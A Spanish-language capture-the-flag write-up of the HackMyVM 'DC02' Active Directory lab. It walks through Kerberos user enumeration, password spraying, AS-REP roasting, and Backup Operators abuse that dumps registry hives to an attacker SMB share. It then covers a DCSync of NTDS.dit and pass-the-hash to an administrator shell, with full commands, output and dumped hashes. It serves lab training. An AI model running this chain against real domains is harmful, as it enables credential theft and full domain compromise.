HackMyVM: DC02 Writeup | Medium

Table of Contents

Hack The Box: DC02 Writeup

Welcome to my detailed writeup of the medium difficulty machine “DC02” on HackMyVM. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 192.168.182.4 --ulimit 5000 -g
2                                                       
3192.168.182.4 -> [53,88,139,389,445,464,593,3268,135,5985,9389,49664,49668,49670,49683]
 1$ nmap -p53,88,139,389,445,464,593,3268,135,5985,9389,49664,49668,49670,49683 -sCV 192.168.182.4 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 14:35 CEST
 3Nmap scan report for 192.168.182.4
 4Host is up (0.00022s latency).
 5
 6PORT      STATE SERVICE       VERSION
 753/tcp    open  domain        Simple DNS Plus
 888/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-03 19:35:45Z)
 9135/tcp   open  msrpc         Microsoft Windows RPC
10139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
11389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
12445/tcp   open  microsoft-ds?
13464/tcp   open  kpasswd5?
14593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
153268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
165985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
17|_http-title: Not Found
18|_http-server-header: Microsoft-HTTPAPI/2.0
199389/tcp  open  mc-nmf        .NET Message Framing
2049664/tcp open  msrpc         Microsoft Windows RPC
2149668/tcp open  msrpc         Microsoft Windows RPC
2249670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
2349683/tcp open  msrpc         Microsoft Windows RPC
24MAC Address: 08:00:27:60:54:69 (Oracle VirtualBox virtual NIC)
25Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
26
27Host script results:
28|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:60:54:69 (Oracle VirtualBox virtual NIC)
29|_clock-skew: 7h00m03s
30| smb2-security-mode: 
31|   3:1:1: 
32|_    Message signing enabled and required
33| smb2-time: 
34|   date: 2024-10-03T19:36:33
35|_  start_date: N/A
36
37Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
38Nmap done: 1 IP address (1 host up) scanned in 95.21 seconds

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 192.168.182.4 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 14:37 CEST
 3Nmap scan report for 192.168.182.4
 4Host is up (0.00064s latency).
 5Not shown: 1495 open|filtered udp ports (no-response)
 6PORT    STATE SERVICE
 753/udp  open  domain
 888/udp  open  kerberos-sec
 9123/udp open  ntp
10137/udp open  netbios-ns
11389/udp open  ldap
12MAC Address: 08:00:27:60:54:69 (Oracle VirtualBox virtual NIC)
13
14Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds

Del escaneo inicial encontramos el dominio SOUPEDECODE.LOCAL, lo añadimos al /etc/hosts

No encontramos mucha información relevante, así que vamos a empezar con la enumeración de los servicios.

SMB Enumeration

No podemos enumerar los recursos compartidos a nivel de red utilizando una null session, así que vamos a otra cosa.

1┌─[192.168.182.5]─[pointedsec@parrot]─[~/Desktop/dc02/scan]
2└──╼ [★]$ smbmap -H 192.168.182.4 -u ''
3[!] Authentication error on 192.168.182.4
4┌─[192.168.182.5]─[pointedsec@parrot]─[~/Desktop/dc02/scan]
5└──╼ [★]$ smbmap -H 192.168.182.4 -u 'null'
6[!] Authentication error on 192.168.182.4
7┌─[192.168.182.5]─[pointedsec@parrot]─[~/Desktop/dc02/scan]
8└──╼ [★]$ smbclient -L \\192.168.182.4 -U 'null' -N
9session setup failed: NT_STATUS_LOGON_FAILURE

LDAP Enumeration

Para enumerar el LDAP pasa lo mismo.

 1$ ldapsearch -x -H ldap://192.168.182.4 -D '' -w '' -b "DC=SOUPEDECODE,DC=LOCAL"
 2# extended LDIF
 3#
 4# LDAPv3
 5# base <DC=SOUPEDECODE,DC=LOCAL> with scope subtree
 6# filter: (objectclass=*)
 7# requesting: ALL
 8#
 9
10# search result
11search: 2
12result: 1 Operations error
13text: 000004DC: LdapErr: DSID-0C090A58, comment: In order to perform this opera
14 tion a successful bind must be completed on the connection., data 0, v4f7c
15
16# numResponses: 1

RPC Enumeration

Tampoco podemos enumerar RPC de forma anónima.

1$ rpcclient -N -U "" 192.168.182.4 
2Cannot connect to server.  Error was NT_STATUS_ACCESS_DENIED

Username Bruteforce

En este punto tampoco podemos hacer nada, solo nos queda aprovecharnos del Kerberos y utilizar kerbrute para intentar conseguir una lista de usuarios válidos.

Spray & Pray.

Y encontramos algunos usuarios.

 1$ /opt/kerbrute userenum --dc 192.168.182.4 -d soupedecode.local /opt/SecLists/Usernames/xato-net-10-million-usernames.txt
 2
 3    __             __               __     
 4   / /_____  _____/ /_  _______  __/ /____ 
 5  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 6 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
 7/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        
 8
 9Version: v1.0.3 (9dad6e1) - 10/03/24 - Ronnie Flathers @ropnop
10
112024/10/03 14:49:27 >  Using KDC(s):
122024/10/03 14:49:27 >   192.168.182.4:88
13
142024/10/03 14:49:27 >  [+] VALID USERNAME:       admin@soupedecode.local
152024/10/03 14:49:27 >  [+] VALID USERNAME:       charlie@soupedecode.local
162024/10/03 14:49:27 >  [+] VALID USERNAME:       Charlie@soupedecode.local
172024/10/03 14:49:28 >  [+] VALID USERNAME:       administrator@soupedecode.local
182024/10/03 14:49:28 >  [+] VALID USERNAME:       Admin@soupedecode.local
192024/10/03 14:49:32 >  [+] VALID USERNAME:       Administrator@soupedecode.local
202024/10/03 14:49:32 >  [+] VALID USERNAME:       CHARLIE@soupedecode.local

Los que mas me llaman la atención son admin y charlie, así que vamos a crearnos una lista usuarios con estos dos usuarios.

Haciendo password spraying con estos usuarios encontramos una credencial. charlie:charlie

 1$ nxc smb 192.168.182.4 -u users.txt -p users.txt  --continue-on-success
 2SMB         192.168.182.4   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
 3SMB         192.168.182.4   445    DC01             [-] SOUPEDECODE.LOCAL\admin:admin STATUS_LOGON_FAILURE
 4SMB         192.168.182.4   445    DC01             [-] SOUPEDECODE.LOCAL\charlie:admin STATUS_LOGON_FAILURE
 5SMB         192.168.182.4   445    DC01             [-] SOUPEDECODE.LOCAL\Administrator:admin STATUS_LOGON_FAILURE
 6SMB         192.168.182.4   445    DC01             [-] SOUPEDECODE.LOCAL\admin:charlie STATUS_LOGON_FAILURE
 7SMB         192.168.182.4   445    DC01             [+] SOUPEDECODE.LOCAL\charlie:charlie 
 8SMB         192.168.182.4   445    DC01             [-] SOUPEDECODE.LOCAL\Administrator:charlie STATUS_LOGON_FAILURE
 9SMB         192.168.182.4   445    DC01             [-] SOUPEDECODE.LOCAL\admin:Administrator STATUS_LOGON_FAILURE
10SMB         192.168.182.4   445    DC01             [-] SOUPEDECODE.LOCAL\Administrator:Administrator STATUS_LOGON_FAILURE

La verdad que bastante fácil para ser una máquina de dificultad media por ahora.

Authenticated SMB Enumeration

Vemos los típicos recursos compartidos a nivel de red, nada interesante a simple vista.

1$ smbmap -H 192.168.182.4 -u charlie -p charlie
2[+] IP: 192.168.182.4:445       Name: SOUPEDECODE.LOCAL                                 
3        Disk                                                    Permissions     Comment
4        ----                                                    -----------     -------
5        ADMIN$                                                  NO ACCESS       Remote Admin
6        C$                                                      NO ACCESS       Default share
7        IPC$                                                    READ ONLY       Remote IPC
8        NETLOGON                                                READ ONLY       Logon server share 
9        SYSVOL                                                  READ ONLY       Logon server share 

Vamos a revisar el recurso SYSVOL ya que a veces se guardan scripts interesantes.

Pero no encontramos nada interesante.

1smb: \SOUPEDECODE.LOCAL\scripts\> dir
2  .                                   D        0  Sat Jun 15 21:21:21 2024
3  ..                                  D        0  Sat Jun 15 21:30:47 2024
4
5                12942591 blocks of size 4096. 10927574 blocks available

Authenticated LDAP Enumeration

Ahora que tenemos credenciales válidas, vamos a intentar enumerar el LDAP.

Podemos con ldapdomaindump extraer en formato HTML de una forma cómoda información relacionada con el dominio.

1$ ldapdomaindump -u "SOUPEDECODE.LOCAL\charlie" -p charlie 192.168.182.4 --no-json
2 --no-grep -o domaindump                                                                  
3[*] Connecting to host...                                                                 
4[*] Binding to host                                                                       
5[+] Bind OK
6[*] Starting domain dump
7[+] Domain dump finished

Ahora en el directorio domaindump vemos que tenemos varios archivos HTML.

1$ ls
2domain_computers_by_os.html  domain_policy.html          domain_users.html
3domain_computers.html        domain_trusts.html
4domain_groups.html           domain_users_by_group.html

Los podemos servir por el puerto 8081, por ejemplo.

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...

Y ahora a través del navegador visualizarlos. Write-up Image

Al ver los usuarios nos damos cuenta de que hay muchos usuarios, esto me gusta porque suele ser así en un entorno real de directorio activo. Write-up Image

Vemos que en el grupo Backup Operators existe un usuario, esto nos interesa porque los usuarios de este grupo tienen privilegios interesantes que nos puede servir para escalar privilegios. Write-up Image

Y como hemos visto antes, también existe un usuario admin que es administrador del dominio. Write-up Image

Como hay tantos usuarios, quiero crear una lista de estos, vamos a repetir el ldapdomaindump pero sin la flag de --no-grep para poder hacer una expresión regular y quedarnos con los usuarios.

1$ ldapdomaindump -u "SOUPEDECODE.LOCAL\charlie" -p charlie 192.168.182.4 --no-json -o domaindump
2[*] Connecting to host...
3[*] Binding to host
4[+] Bind OK
5[*] Starting domain dump
6[+] Domain dump finished

Nos quedamos con el campo SAM Name que corresponde al 5 campo.

1$ cat domain_users.grep | awk '{print $5}' >> ../users.txt 

Y tenemos una lista de todos los usuarios del dominio.

 1$ tail users.txt
 2ctracy513
 3ffelix512
 4amona511
 5klila510
 6czach509
 7quma508
 8jrachel506
 9arose505
10hmike504
11cleo503

968 usuarios, aunque alguno está repetido.

1$ wc -l users.txt 
2968 users.txt

ASREPRoast

Con una lista tan grande de usuarios, una buena práctica es ejecutar un ASREPRoast para detectar usuarios que tengan el atributo DONT_REQUIRE_PREAUTH para intentar crackear el TGT de forma offline.

Esto lo podemos hacer con GetNPUsers.py de la suite de impacket

 1$ impacket-GetNPUsers -no-pass -usersfile users.txt SOUPEDECODE.LOCAL/ | grep -v "doesn't"              
 2                                                                                                                
 3Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation                                                        
 4                                                                                                                
 5[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)                   
 6$krb5asrep$23$zximena448@SOUPEDECODE.LOCAL:4a9d54d3b2f1de250e043c447e30b331$7944ae2f3f3cc0470c59d68cf451afc2147b0d1e70ac1b9969f109c9a8e6
 7a9ca2af973a1f3d2a70040689025de9695eb7f5f8afb3b15e59e0230b97172b667c0f5345497bfedce477e22730a58befa67e0d9498f37cccb6264489d6bcfab63722bfb
 8e6fed33e3818438c10f21b5c603dece7774f3f01f0e79b629936afbef589f0b1f34fc8abdfb39b5028032c02bb6491aeeb0cae9990de9b79de44011909c40302d8ca3a72
 93c7588d97c8b509604d0c6e8ed81146b91b208956825f1fdeda1d01ff032c1dadc49b86f647aa929c0b5008c3b16ea68324cac3487a8f9fa4e47967a21d9cd93494b1d64
10bda99053e1813cb0943da629                                                                                        
11[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)                   
12[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)                                           
13[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)                                           
14[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)  

Y hemos encontrado que el usuario zximena448 no requiere pre-autenticación en kerberos.

Nos guardamos el hash.

1$ cat hashes 
2$krb5asrep$zximena448@SOUPEDECODE.LOCAL:d7821ecb2cf32c0fdc678fe1ae4ee5e8$6265255ef918929981ee2e56636d896582ba8648374a8e0c2b1bda6ef5a68717a6a9ef094aa526bb90d42d6a6cb011d2e15df6ba074056e5ea50cd5229bfa4d0ad27f58a1d9b5d27350fbef49bfc65f84899b9e9f2217ab40c802cd8adceaca33e46ec04bb68952c3996ec1161db4a64efc2cdfb16b21b95b53380ccc60c2f6389ea9dac8ea5f38b11c6c4d8a23de08528ab66a0096fb60e932e9da9f916cc1e7f37daa054b52fd52d50c17a307d7a6aa5a92bf4ea5d400703fdbb739c056a5398e7d37af73e6075dcdae169adcd0cd1aa2b637f083acad5f6edd890068ba9017c08e58864c7ed892fa46ace06c2ee7d8e080f9b217d

Y con john lo vamos a intentar crackear.

1$ john -w=/usr/share/wordlists/rockyou.txt hashes 
2Using default input encoding: UTF-8
3Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
4Will run 4 OpenMP threads
5Press 'q' or Ctrl-C to abort, almost any other key for status
6internet         ($krb5asrep$zximena448@SOUPEDECODE.LOCAL)     
71g 0:00:00:00 DONE (2024-10-03 15:10) 100.0g/s 102400p/s 102400c/s 102400C/s 123456..bethany
8Use the "--show" option to display all of the cracked passwords reliably
9Session completed. 

Y vemos que la credencial es internet

Podemos probarlo con netexec

1 nxc smb 192.168.182.4 -u zximena448 -p internet
2SMB         192.168.182.4   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
3SMB         192.168.182.4   445    DC01             [+] SOUPEDECODE.LOCAL\zximena448:internet 

Ahora recordemos que este es el usuario que pertenecía al grupo Backup Operators

SMB Enumeration (again)

1$ smbmap -H 192.168.182.4 -u zximena448 -p internet
2[+] IP: 192.168.182.4:445       Name: SOUPEDECODE.LOCAL                                 
3        Disk                                                    Permissions     Comment
4        ----                                                    -----------     -------
5        ADMIN$                                                  READ ONLY       Remote Admin
6        C$                                                      READ, WRITE     Default share
7        IPC$                                                    READ ONLY       Remote IPC
8        NETLOGON                                                READ ONLY       Logon server share 
9        SYSVOL                                                  READ ONLY       Logon server share

Vemos que podemos acceder al recurso C$ que corresponde al disco duro del DC.

Gracias a esto, podemos descargarnos la flag de usuario.

1smb: \Users\zximena448\Desktop\> get user.txt
2getting file \Users\zximena448\Desktop\user.txt of size 33 as user.txt (4,0 KiloBytes/sec) (average 4,0 KiloBytes/sec)
1$ cat user.txt 
22fe79eb0e02ecd4dd...

Privilege Escalation

Abusing Backup Operators Group -> Dumping SAM Remotely

Aunque no tengamos una consola en la máquina víctima, podemos dumpear remotamente la SAM, y los registros SYSTEM y SECURITY para recuperar los hashes de los usuarios del sistema y hacer Pass The Hash para escalar privilegios.

Podemos utilizar este PoC para realizar esto.

Clonamos el repositorio.

1$ git clone https://github.com/horizon3ai/backup_dc_registry                                            
2Cloning into 'backup_dc_registry'...                                                                            
3remote: Enumerating objects: 8, done.                                                                           
4remote: Counting objects: 100% (8/8), done.                                                                     
5remote: Compressing objects: 100% (7/7), done.
6remote: Total 8 (delta 0), reused 5 (delta 0), pack-reused 0 (from 0)
7Receiving objects: 100% (8/8), 129.91 KiB | 1.18 MiB/s, done.

Vamos con impacket-smbserver a crear temporalmente un servidor SMB para copiar los archivos que vamos a dumpear.

1$ sudo impacket-smbserver -smb2support smbFolder .

Y el PoC funciona a la perfección aparentemente.

1$ python3 reg.py zximena448:"internet"@192.168.182.4 backup -p '\\192.168.182.5\smbFolder\'
2Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation 
3
4Dumping SAM hive to \\192.168.182.5\smbFolder\\SAM
5Dumping SYSTEM hive to \\192.168.182.5\smbFolder\\SYSTEM 
6Dumping SECURITY hive to \\192.168.182.5\smbFolder\\SECURITY

Vemos los tres archivos.

1 ls
2SAM  SECURITY  SYSTEM

Así que ahora con impacket-secretsdump podemos dumpear el valor de la SAM

 1$ impacket-secretsdump LOCAL -system SYSTEM -security SECURITY -sam SAM
 2Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
 3
 4[*] Target system bootKey: 0x0c7ad5e1334e081c4dfecd5d77cc2fc6
 5[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
 6Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
 7Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
 8DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
 9[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
10[*] Dumping cached domain logon information (domain/username:hash)
11[*] Dumping LSA Secrets
12[*] $MACHINE.ACC 
13$MACHINE.ACC:plain_password_hex:0bef7790d333df3e4328f99e30c304cbb4a7485fffa8e3a777ce7243673a45aa52aa9ee08709043f64a8ca47610941f3c6889ea546d236dd70b20a333d070758094fe50e9b8295e3dcfef603d096d2464b403c47b116abdbac18b3634694c5f02991f9dcef67d1322939b37014a6d7a72dad3466962db2f76447a66481766bf48580f6702229f353fd3b0f3adeb2148c90520d05cd2632b14960c3391ee5fc625dafd3a36050392a75b3e472139203291f364eb9c4df32fcc882a411ef6a7755aad4435d8ea6b30f49ccbfd60e6bcf14684d6813d9397cf35a2e124c35fc8207bb6d75fb82ffae8d83477970dc9f88dd
14$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:af48f2010d257a514430b66fa469a554
15[*] DPAPI_SYSTEM 
16dpapi_machinekey:0x829d1c0e3b8fdffdc9c86535eac96158d8841cf4
17dpapi_userkey:0x4813ee82e68a3bf9fec7813e867b42628ccd9503
18[*] NL$KM 
19 0000   44 C5 ED CE F5 0E BF 0C  15 63 8B 8D 2F A3 06 8F   D........c../...
20 0010   62 4D CA D9 55 20 44 41  75 55 3E 85 82 06 21 14   bM..U DAuU>...!.
21 0020   8E FA A1 77 0A 9C 0D A4  9A 96 44 7C FC 89 63 91   ...w......D|..c.
22 0030   69 02 53 95 1F ED 0E 77  B5 24 17 BE 6E 80 A9 91   i.S....w.$..n...
23NL$KM:44c5edcef50ebf0c15638b8d2fa3068f624dcad95520444175553e85820621148efaa1770a9c0da49a96447cfc896391690253951fed0e77b52417be6e80a991
24[-] NTDSHashes.__init__() got an unexpected keyword argument 'ldapFilter'
25[*] Cleaning up... 

Pero al probar este hash con netexec vemos que no es válido. Esto es porque el SAM que hemos dumpeado es de las cuentas locales de la máquina, no del dominio, ya que en entorno de Directorio Activo estas se almacenan en el NTDS.dit

1$ nxc smb 192.168.182.4 -u 'Administrator' -H 209c6174da490caeb422f3fa5a7ae634
2SMB         192.168.182.4   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
3SMB         192.168.182.4   445    DC01             [-] SOUPEDECODE.LOCAL\Administrator:209c6174da490caeb422f3fa5a7ae634 STATUS_LOGON_FAILURE

Dumping NTDS.dit -> Abusing Local Machine Credentials Reuse

También vemos que el hash es válido para la cuenta del equipo.

1$ nxc smb 192.168.182.4 -u 'DC01$' -H af48f2010d257a514430b66fa469a554
2SMB         192.168.182.4   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
3SMB         192.168.182.4   445    DC01             [+] SOUPEDECODE.LOCAL\DC01$:af48f2010d257a514430b66fa469a554

Entonces con impacket-secretsdump podemos intentar dumpear el NTDS.dit pero utilizando la cuenta local del sistema ya que esta si que se está reutilizando la credencial.

Y no os asustéis porque os va a dumpear todos los hashes de todos los usuarios del dominio, pero obviamente nos interesa el del administrador.

 1$ secretsdump.py SOUPEDECODE.LOCAL/DC01\$@192.168.182.4 -hashes :af48f2010d257a514
 2430b66fa469a554                               
 3Impacket v0.12.0.dev1+20240819.165705.f98c9870 - Copyright 2023 Fortra
 4                      
 5[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
 6[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
 7[*] Using the DRSUAPI method to get NTDS.DIT secrets
 8Administrator:500:aad3b435b51404eeaad3b435b51404ee:8982babd4da89d33210779a6c5b078bd:::
 9Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
10krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb9d84e61e78c26063aced3bf9398ef0:::
11soupedecode.local\bmark0:1103:aad3b435b51404eeaad3b435b51404ee:d72c66e955a6dc0fe5e76d205a6
1230b15:::

Y ahora sí que netexec nos reporta que podemos ganar una consola interactiva como administrador.

1$ nxc smb 192.168.182.4 -u Administrator -H 8982babd4da89d33210779a6c5b078bd
2SMB         192.168.182.4   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
3SMB         192.168.182.4   445    DC01             [+] SOUPEDECODE.LOCAL\Administrator:8982babd4da89d33210779a6c5b078bd (Pwn3d!)

Y para terminar, con wmiexec podemos ganar una consola interactiva como administrador.

1$ wmiexec.py -hashes :8982babd4da89d33210779a6c5b078bd Administrator@192.168.182.4Impacket v0.12.0.dev1+20240819.165705.f98c9870 - Copyright 2023 Fortra
2
3[*] SMBv3.0 dialect used
4[!] Launching semi-interactive shell - Careful what you execute
5[!] Press help for extra shell commands
6C:\>whoami
7soupedecode\administrator

Podemos leer la flag de root

1C:\Users\Administrator\Desktop>type root.txt
2d41d8cd98f00b204e...

¡Y ya estaría!

Happy Hacking! 🚀

#HackMyVM   #DC02   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Network Security   #Privilege Escalation   #RCE   #Exploit   #Windows   #SMB Enumeration   #LDAP Enumeration   #Username Bruteforce   #Abusing Kerberos   #ASREPRoast   #Cracking TGT   #Cracking   #Hash Cracking   #Password Cracking   #Abusing Backup Operators   #SAM Dumping   #NTDS.dit Dumping   #Credentials Reuse   #Abusing WMI